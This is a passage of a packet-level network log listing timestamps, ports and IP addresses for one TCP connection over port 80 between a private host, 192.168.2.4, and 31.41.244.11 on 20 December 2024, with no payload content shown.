Dec 20, 2024 09:12:43.551851988 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.551898003 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.555119038 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.555170059 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.555172920 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.555221081 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.558445930 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.558499098 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.558568954 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.558620930 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.561841965 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.561938047 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.561940908 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.561976910 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.565155983 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.565203905 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.565263033 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.565324068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.568485022 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.568536997 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.568605900 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.568656921 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.571898937 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.571980953 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.572010994 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.572220087 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.575198889 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.575253963 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.575337887 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.575387955 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.578577995 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.578630924 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.578681946 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.578730106 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.581948042 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.582007885 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.582025051 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.582070112 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.585295916 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.585357904 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.585418940 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.585458994 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.588593006 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.588645935 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.588754892 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.588804960 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.591978073 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.592057943 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.592076063 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.592102051 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.595377922 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.595429897 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.595576048 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.595628023 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.598670959 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.598722935 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.598781109 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.598843098 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.601985931 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.602081060 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.602086067 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.602132082 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.605110884 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.605163097 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.605222940 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.605271101 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.608161926 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.608217001 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.608436108 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.608485937 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.611166000 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.611216068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.611279011 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.611335993 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.613342047 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.613389969 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.613554955 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.613605976 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.615528107 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.615581989 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.615609884 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.615659952 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.617708921 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.617763042 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.617816925 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.617866039 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.619857073 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.620028973 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.620083094 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.621977091 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.622101068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.622117996 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.622164011 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.624129057 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.624181032 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.624224901 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.624380112 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.626231909 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.626283884 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.626343012 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.626450062 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.628273010 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.628325939 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.628387928 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.628433943 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.630335093 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.630383015 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.630428076 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.630597115 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.632360935 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.632420063 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.632540941 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.632644892 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.634319067 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.634367943 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.634489059 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.634700060 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.636301041 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.636440992 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.636492014 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.638277054 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.638326883 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.638386965 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.638438940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.640261889 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.640319109 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.640377998 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.640557051 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.642187119 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.642241955 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.642313004 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.642436028 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.643721104 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.643774033 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.643825054 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.643871069 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.645266056 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.645313025 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.645337105 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.645386934 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.646840096 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.646897078 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.646956921 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.647008896 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.648386002 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.648437023 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.648467064 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.648515940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.649918079 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.649960041 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.650084019 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.650129080 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.651468992 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.651515961 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.651587009 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.651639938 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.652996063 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.653065920 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.653100014 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.653141022 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.654544115 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.654597044 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.654670000 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.654721022 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.656029940 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.656188965 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.656240940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.657582045 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.657632113 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.657685995 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.657732010 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.659127951 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.659173965 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.659231901 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.659287930 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.660643101 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.660687923 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.660746098 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.660792112 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.662177086 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.662228107 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.662297010 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.662410975 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.663744926 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.663798094 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.663804054 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.663842916 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.665220022 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.665272951 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.665298939 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.665316105 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.666734934 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.666785002 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.666894913 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.667037010 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.668375015 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.668410063 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.668426037 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.668454885 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.669836044 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.669884920 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.669888020 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.669934988 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.671261072 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.671340942 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.671412945 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.672741890 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.672776937 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.672801971 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.672827959 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.674258947 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.674339056 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.674370050 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.674381018 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.675713062 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.675762892 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.675796032 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.675862074 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.677156925 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.677202940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.677262068 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.677305937 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.678601980 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.678667068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.678736925 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.678782940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.679806948 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.679855108 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.679980040 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.680027962 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.680969000 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.681015015 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.681087017 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.681133986 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.682154894 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.682209969 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.682267904 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.682313919 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.683366060 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.683435917 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.683459044 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.683505058 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.684680939 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.684715033 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.684734106 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.684756994 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.685717106 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.685764074 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.685831070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.685868979 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.686875105 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.686996937 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.687046051 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.688081026 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.688133001 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.688163042 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.688182116 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.689253092 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.689300060 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.689367056 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.689419985 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.690424919 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.690512896 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.690537930 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.690591097 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.691607952 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.691653967 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.691720963 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.691767931 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.692783117 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.692827940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.692897081 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.692940950 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.693936110 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.694067955 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.694117069 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.695131063 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.695221901 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.695257902 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.695281029 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.696302891 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.696353912 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.696428061 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.696499109 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.697455883 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.697509050 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.697585106 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.697633982 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.698645115 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.698692083 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.698751926 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.698832989 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.699949980 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.700001001 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.700005054 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.700041056 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.700990915 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.701351881 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.702022076 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.702079058 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.702157974 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.702233076 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.702311039 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.702367067 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.703352928 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.703396082 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.703479052 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.703521013 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.704497099 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.704559088 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.704619884 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.704669952 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.705713034 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.705763102 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.705831051 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.705878973 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.706835032 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.706882000 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.706959963 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.707011938 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.708015919 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.708070993 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.708121061 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.708165884 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.709188938 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.709325075 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.709336996 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.709383011 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.710377932 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.710424900 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.710498095 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.710544109 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.711560011 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.711604118 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.711673021 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.711731911 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.712724924 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.712788105 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.712847948 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.713032007 CET	49855	80	192.168.2.4	31.41.244.11
